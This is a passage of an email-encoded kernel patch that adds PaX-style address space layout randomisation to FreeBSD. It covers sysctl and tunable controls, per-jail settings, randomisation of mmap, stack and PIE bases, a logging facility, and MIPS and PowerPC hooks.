PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN; +int pax_aslr_compat_exec_len =3D PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN; +#else +int pax_aslr_compat_mmap_len =3D PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN; +int pax_aslr_compat_stack_len =3D PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN; +int pax_aslr_compat_exec_len =3D PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN; +#endif /* PAX_ASLR_MAX_SEC */ +#endif /* COMPAT_FREEBSD32 */ + +TUNABLE_INT("security.pax.aslr.status", &pax_aslr_status); +TUNABLE_INT("security.pax.aslr.mmap_len", &pax_aslr_mmap_len); +TUNABLE_INT("security.pax.aslr.debug", &pax_aslr_debug); +TUNABLE_INT("security.pax.aslr.stack_len", &pax_aslr_stack_len); +TUNABLE_INT("security.pax.aslr.exec_len", &pax_aslr_exec_len); +#ifdef COMPAT_FREEBSD32 +TUNABLE_INT("security.pax.aslr.compat.status", &pax_aslr_compat_status); +TUNABLE_INT("security.pax.aslr.compat.mmap", &pax_aslr_compat_mmap_len); +TUNABLE_INT("security.pax.aslr.compat.stack", &pax_aslr_compat_stack_len); +TUNABLE_INT("security.pax.aslr.compat.stack", &pax_aslr_compat_exec_len); +#endif + + +#ifdef PAX_SYSCTLS +/* + * sysctls and tunables + */ +static int sysctl_pax_aslr_debug(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_status(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_mmap(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_stack(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_exec(SYSCTL_HANDLER_ARGS); + +SYSCTL_DECL(_security_pax); + +SYSCTL_NODE(_security_pax, OID_AUTO, aslr, CTLFLAG_RD, 0, + "Address Space Layout Randomization."); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, status, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_status, "I", + "Restrictions status. " + "0 - disabled, " + "1 - opt-in, " + "2 - opt-out, " + "3 - force enabled"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, debug, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_debug, "I", + "ASLR debug mode"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, mmap_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_mmap, "I", + "Number of bits randomized for mmap(2) calls. " + "32 bit: [8,16] 64 bit: [16,32]"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, stack_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_stack, "I", + "Number of bits randomized for the stack. " + "32 bit: [6,12] 64 bit: [12,21]"); + +SYSCTL_PROC(_security_pax_aslr, OID_AUTO, exec_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_exec, "I", + "Number of bits randomized for the PIE exec base. " + "32 bit: [6,12] 64 bit: [12,21]"); + +static int +sysctl_pax_aslr_status(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_status : pax_aslr_status; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || (req->newptr =3D=3D NULL)) + return (err); + + switch (val) { + case PAX_ASLR_DISABLED: + case PAX_ASLR_OPTIN: + case PAX_ASLR_OPTOUT: + case PAX_ASLR_FORCE_ENABLED: + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_status =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_status =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + break; + default: + return (EINVAL); + } + + return (0); +} + +static int +sysctl_pax_aslr_debug(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_debug : pax_aslr_debug; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + switch (val) { + case 0: + case 1: + break; + default: + return (EINVAL); + + } + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_debug =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_debug =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_mmap(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_mmap_len : pax_aslr_mmap_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_DELTA_MMAP_MIN_LEN || + val > PAX_ASLR_DELTA_MMAP_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_mmap_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_mmap_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_stack(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_stack_len : pax_aslr_stack_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_DELTA_STACK_MIN_LEN || + val > PAX_ASLR_DELTA_STACK_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_stack_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_stack_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_exec(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_exec_len : pax_aslr_exec_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || (req->newptr =3D=3D NULL)) + return (err); + + if (val < PAX_ASLR_DELTA_EXEC_MIN_LEN || + val > PAX_ASLR_DELTA_EXEC_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_exec_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_exec_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +/* + * COMPAT_FREEBSD32 and linuxulator.. + */ +#ifdef COMPAT_FREEBSD32 +static int sysctl_pax_aslr_compat_status(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_compat_mmap(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_compat_stack(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_compat_exec(SYSCTL_HANDLER_ARGS); + +SYSCTL_NODE(_security_pax_aslr, OID_AUTO, compat, CTLFLAG_RD, 0, + "Setting for COMPAT_FREEBSD32 and linuxulator."); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, status, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_status, "I", + "Restrictions status. " + "0 - disabled, " + "1 - enabled, " + "2 - global enabled, " + "3 - force global enabled"); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, mmap_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_mmap, "I", + "Number of bits randomized for mmap(2) calls. " + "32 bit: [8,16]"); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, stack_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_stack, "I", + "Number of bits randomized for the stack. " + "32 bit: [6,12]"); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, exec_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_exec, "I", + "Number of bits randomized for the PIE exec base. " + "32 bit: [6,12]"); + +static int +sysctl_pax_aslr_compat_status(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ?pr->pr_pax_aslr_compat_status : pax_aslr_compat_s= tatus; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || (req->newptr =3D=3D NULL)) + return (err); + + switch (val) { + case PAX_ASLR_DISABLED: + case PAX_ASLR_OPTIN: + case PAX_ASLR_OPTOUT: + case PAX_ASLR_FORCE_ENABLED: + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_status =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_status =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + break; + default: + return (EINVAL); + } + + return (0); +} + +static int +sysctl_pax_aslr_compat_mmap(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_compat_mmap_len : pax_aslr_compa= t_mmap_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN || + val > PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_mmap_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_mmap_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_compat_stack(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_compat_stack_len : pax_aslr_comp= at_stack_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN || + val > PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_stack_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_stack_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_compat_exec(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if (pr !=3D NULL) + val =3D pr->pr_pax_aslr_compat_exec_len; + else + val =3D pax_aslr_compat_exec_len; + + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN || + val > PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_exec_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_exec_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_SYSCTLS */ + + +/* + * ASLR functions + */ +bool +pax_aslr_active(struct thread *td, struct proc *proc) +{ + int status; + struct prison *pr; + uint32_t flags; + + if ((td =3D=3D NULL) && (proc =3D=3D NULL)) + return (true); + + pr =3D pax_get_prison(td, proc); + + flags =3D (td !=3D NULL) ? td->td_proc->p_pax : proc->p_pax; + if (((flags & 0xaaaaaaaa) & ((flags & 0x55555555) << 1)) !=3D 0) { + pax_log_aslr(pr, __func__, "inconsistent paxflags: %x\n", flags); + pax_ulog_aslr(pr, NULL, "inconsistent paxflags: %x\n", flags); + return (true); + } + + if (pr !=3D NULL) + status =3D pr->pr_pax_aslr_status; + else + status =3D pax_aslr_status; + + switch (status) { + case PAX_ASLR_DISABLED: + return (false); + case PAX_ASLR_FORCE_ENABLED: + return (true); + case PAX_ASLR_OPTIN: + if ((flags & PAX_NOTE_ASLR) =3D=3D 0) { + pax_log_aslr(pr, __func__, + "ASLR is opt-in, and executable does not have ASLR enabled\n"); + pax_ulog_aslr(pr, NULL, + "ASLR is opt-in, and executable does not have ASLR enabled\n"); + return (false); + } + break; + case PAX_ASLR_OPTOUT: + if ((flags & PAX_NOTE_NOASLR) !=3D 0) { + pax_log_aslr(pr, __func__, + "ASLR is opt-out, and executable explicitly disabled ASLR\n"); + pax_ulog_aslr(pr, NULL, + "ASLR is opt-out, and executable explicitly disabled ASLR\n"); + return (false); + } + break; + default: + return (true); + } + + return (true); +} + +void +_pax_aslr_init(struct vmspace *vm, struct prison *pr) +{ + if (vm =3D=3D NULL) + panic("[PaX ASLR] %s: vm =3D=3D NULL", __func__); + + vm->vm_aslr_delta_mmap =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_MMAP_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_mmap_len : + pax_aslr_mmap_len); + vm->vm_aslr_delta_stack =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_STACK_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_stack_len : + pax_aslr_stack_len); + vm->vm_aslr_delta_stack =3D ALIGN(vm->vm_aslr_delta_stack); + vm->vm_aslr_delta_exec =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_EXEC_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_exec_len : + pax_aslr_exec_len); + + if ((pr !=3D NULL) && pr->pr_pax_aslr_debug) { + pax_log_aslr(pr, __func__, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_log_aslr(pr, __func__, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_log_aslr(pr, __func__, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + } +} + +#ifdef COMPAT_FREEBSD32 +void +_pax_aslr_init32(struct vmspace *vm, struct prison *pr) +{ + if (vm =3D=3D NULL) + panic("[PaX ASLR] %s: vm =3D=3D NULL", __func__); + + vm->vm_aslr_delta_mmap =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_COMPAT_DELTA_MMAP_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_compat_mmap_len : + pax_aslr_compat_mmap_len); + vm->vm_aslr_delta_stack =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_COMPAT_DELTA_STACK_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_compat_stack_len : + pax_aslr_compat_stack_len); + vm->vm_aslr_delta_stack =3D ALIGN(vm->vm_aslr_delta_stack); + vm->vm_aslr_delta_exec =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_EXEC_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_compat_exec_len : + pax_aslr_compat_exec_len); + + if ((pr !=3D NULL) && pr->pr_pax_aslr_debug) { + pax_log_aslr(pr, __func__, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_log_aslr(pr, __func__, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_log_aslr(pr, __func__, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + } +} +#endif + +void +pax_aslr_init(struct thread *td, struct image_params *imgp) +{ + struct prison *pr; + struct vmspace *vm; + + pr =3D pax_get_prison(td, NULL); + + if (imgp =3D=3D NULL) + panic("[PaX ASLR] %s: imgp =3D=3D NULL", __func__); + + if (!pax_aslr_active(td, NULL)) + return; + + vm =3D imgp->proc->p_vmspace; + + if (imgp->sysent->sv_pax_aslr_init !=3D NULL) + imgp->sysent->sv_pax_aslr_init(vm, pr); +} + +void +pax_aslr_mmap(struct thread *td, vm_offset_t *addr, vm_offset_t orig_addr,= int flags) +{ + struct prison *pr; + + if (!pax_aslr_active(td, NULL)) + return; + + orig_addr =3D *addr; + + pr =3D pax_get_prison(td, NULL); + + if (!(flags & MAP_FIXED) && ((orig_addr =3D=3D 0) || !(flags & MAP_ANON))= ) { + pax_log_aslr(pr, __func__, "applying to %p orig_addr=3D%p flags=3D%x\n", + (void *)*addr, (void *)orig_addr, flags); + + if (!(td->td_proc->p_vmspace->vm_map.flags & MAP_ENTRY_GROWS_DOWN)) + *addr +=3D td->td_proc->p_vmspace->vm_aslr_delta_mmap; + else + *addr -=3D td->td_proc->p_vmspace->vm_aslr_delta_mmap; + pax_log_aslr(pr, __func__, "result %p\n", (void *)*addr); + } else { + pax_log_aslr(pr, __func__, "not applying to %p orig_addr=3D%p flags=3D%x= \n", + (void *)*addr, (void *)orig_addr, flags); + } +} + +void +pax_aslr_stack(struct thread *td, uintptr_t *addr) +{ + struct prison *pr; + uintptr_t orig_addr; + + if (!pax_aslr_active(td, NULL)) + return; + + pr =3D pax_get_prison(td, NULL); + + orig_addr =3D *addr; + *addr -=3D td->td_proc->p_vmspace->vm_aslr_delta_stack; + pax_log_aslr(pr, __func__, "orig_addr=3D%p, new_addr=3D%p\n", + (void *)orig_addr, (void *)*addr); + pax_ulog_aslr(pr, NULL, "orig_addr=3D%p, new_addr=3D%p\n", + (void *)orig_addr, (void *)*addr); +} diff --git a/sys/kern/kern_pax_log.c b/sys/kern/kern_pax_log.c new file mode 100644 index 0000000..943ac81 --- /dev/null +++ b/sys/kern/kern_pax_log.c @@ -0,0 +1,188 @@ +/*- + * Copyright (c) 2014, by Oliver Pinter + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURP= OSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENT= IAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STR= ICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY W= AY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#define __PAX_LOG_TEMPLATE(SUBJECT, name) \ +void \ +pax_log_##name(struct prison *pr, const char *caller_name, const char* fmt= , ...)\ +{ \ + struct sbuf *sb; \ + va_list args; \ + \ + if ((pr !=3D NULL) && (pr->pr_pax_log_log =3D=3D 0)) \ + return; \ + \ + sb =3D sbuf_new_auto(); \ + if (sb =3D=3D NULL) \ + panic("%s: Could not allocate memory", __func__); \ + sbuf_printf(sb, "[PAX "#SUBJECT"] "); \ + if (caller_name !=3D NULL) \ + sbuf_printf(sb, "%s: ", caller_name); \ + va_start(args, fmt); \ + sbuf_vprintf(sb, fmt, args); \ + va_end(args); \ + if (sbuf_finish(sb) !=3D 0) \ + panic("%s: Could not generate message", __func__); \ + \ + printf("%s", sbuf_data(sb)); \ + sbuf_delete(sb); \ +} \ + \ +void \ +pax_ulog_##name(struct prison *pr, const char *caller_name, const char* fm= t, ...)\ +{ \ + struct sbuf *sb; \ + va_list args; \ + \ + if ((pr !=3D NULL) && (pr->pr_pax_log_ulog =3D=3D 0)) \ + return; \ + \ + sb =3D sbuf_new_auto(); \ + if (sb =3D=3D NULL) \ + panic("%s: Could not allocate memory", __func__); \ + sbuf_printf(sb, "[PAX "#SUBJECT"] "); \ + if (caller_name !=3D NULL) \ + sbuf_printf(sb, "%s: ", caller_name); \ + va_start(args, fmt); \ + sbuf_vprintf(sb, fmt, args); \ + va_end(args); \ + if (sbuf_finish(sb) !=3D 0) \ + panic("%s: Could not generate message", __func__); \ + \ + uprintf("%s", sbuf_data(sb)); \ + sbuf_delete(sb); \ +} + + +static int sysctl_pax_log_log(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_log_ulog(SYSCTL_HANDLER_ARGS); + +int pax_log_log =3D PAX_LOG_LOG; +int pax_log_ulog =3D PAX_LOG_ULOG; + +SYSCTL_DECL(_security_pax); + +SYSCTL_NODE(_security_pax, OID_AUTO, log, CTLFLAG_RD, 0, + "PAX related logging facility."); + +SYSCTL_PROC(_security_pax_log, OID_AUTO, log, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_log_log, "I", + "log to syslog " + "0 - disabled, " + "1 - enabled "); +TUNABLE_INT("security.pax.log.log", &pax_log_log); + +SYSCTL_PROC(_security_pax_log, OID_AUTO, ulog, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_log_ulog, "I", + "log to user terminal" + "0 - disabled, " + "1 - enabled "); +TUNABLE_INT("security.pax.log.ulog", &pax_log_ulog); + +static int +sysctl_pax_log_log(SYSCTL_HANDLER_ARGS) +{ + int err; + int val; + struct prison *pr=3DNULL; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_log_log : pax_log_log; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + switch (val) { + case 0: + case 1: + break; + default: + return (EINVAL); + + } + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_log_log =3D val; + if (pr !=3D NULL) + pr->pr_pax_log_log =3D val; + + return (0); +} + +static int +sysctl_pax_log_ulog(SYSCTL_HANDLER_ARGS) +{ + int err; + int val; + struct prison *pr=3DNULL; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_log_ulog : pax_log_ulog; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + switch (val) { + case 0: + case 1: + break; + default: + return (EINVAL); + + } + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_log_ulog =3D val; + if (pr !=3D NULL) + pr->pr_pax_log_ulog =3D val; + + return (0); +} + + +__PAX_LOG_TEMPLATE(ASLR, aslr) diff --git a/sys/mips/mips/elf_machdep.c b/sys/mips/mips/elf_machdep.c index d374713..f95ba35 100644 --- a/sys/mips/mips/elf_machdep.c +++ b/sys/mips/mips/elf_machdep.c @@ -28,6 +28,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -49,6 +51,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + #ifdef __mips_n64 struct sysentvec elf64_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, @@ -83,6 +89,11 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf64_Brandinfo freebsd_brand_info =3D { @@ -139,6 +150,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf32_Brandinfo freebsd_brand_info =3D { diff --git a/sys/mips/mips/freebsd32_machdep.c b/sys/mips/mips/freebsd32_ma= chdep.c index dfdf70f..103ad84 100644 --- a/sys/mips/mips/freebsd32_machdep.c +++ b/sys/mips/mips/freebsd32_machdep.c @@ -31,6 +31,7 @@ */ =20 #include "opt_compat.h" +#include "opt_pax.h" =20 #define __ELF_WORD_SIZE 32 =20 @@ -66,6 +67,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + static void freebsd32_exec_setregs(struct thread *, struct image_params *,= u_long); static int get_mcontext32(struct thread *, mcontext32_t *, int); static int set_mcontext32(struct thread *, const mcontext32_t *); @@ -106,6 +111,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D freebsd32_syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf32_sysvec, &elf32_freebsd_sysvec); =20 diff --git a/sys/powerpc/powerpc/elf32_machdep.c b/sys/powerpc/powerpc/elf3= 2_machdep.c index dbe58df..229fe97 100644 --- a/sys/powerpc/powerpc/elf32_machdep.c +++ b/sys/powerpc/powerpc/elf32_machdep.c @@ -25,6 +25,8 @@ * $FreeBSD$ */ =20 +#include "opt_pax.h" + #include #include #include @@ -52,6 +54,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + #ifdef __powerpc64__ #include #include @@ -107,6 +113,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_shared_page_base =3D FREEBSD32_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf32_sysvec, &elf32_freebsd_sysvec); =20 diff --git a/sys/powerpc/powerpc/elf64_machdep.c b/sys/powerpc/powerpc/elf6= 4_machdep.c index 0c41a8d..095f37b0 100644 --- a/sys/powerpc/powerpc/elf64_machdep.c +++ b/sys/powerpc/powerpc/elf64_machdep.c @@ -25,6 +25,8 @@ * $FreeBSD$ */ =20 +#include "opt_pax.h" + #include #include #include @@ -48,6 +50,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + struct sysentvec elf64_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, .sv_table =3D sysent, @@ -83,6 +89,11 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_shared_page_base =3D SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf64_sysvec, &elf64_freebsd_sysvec); =20 diff --git a/sys/security/mac_bsdextended/mac_bsdextended.c b/sys/security/= 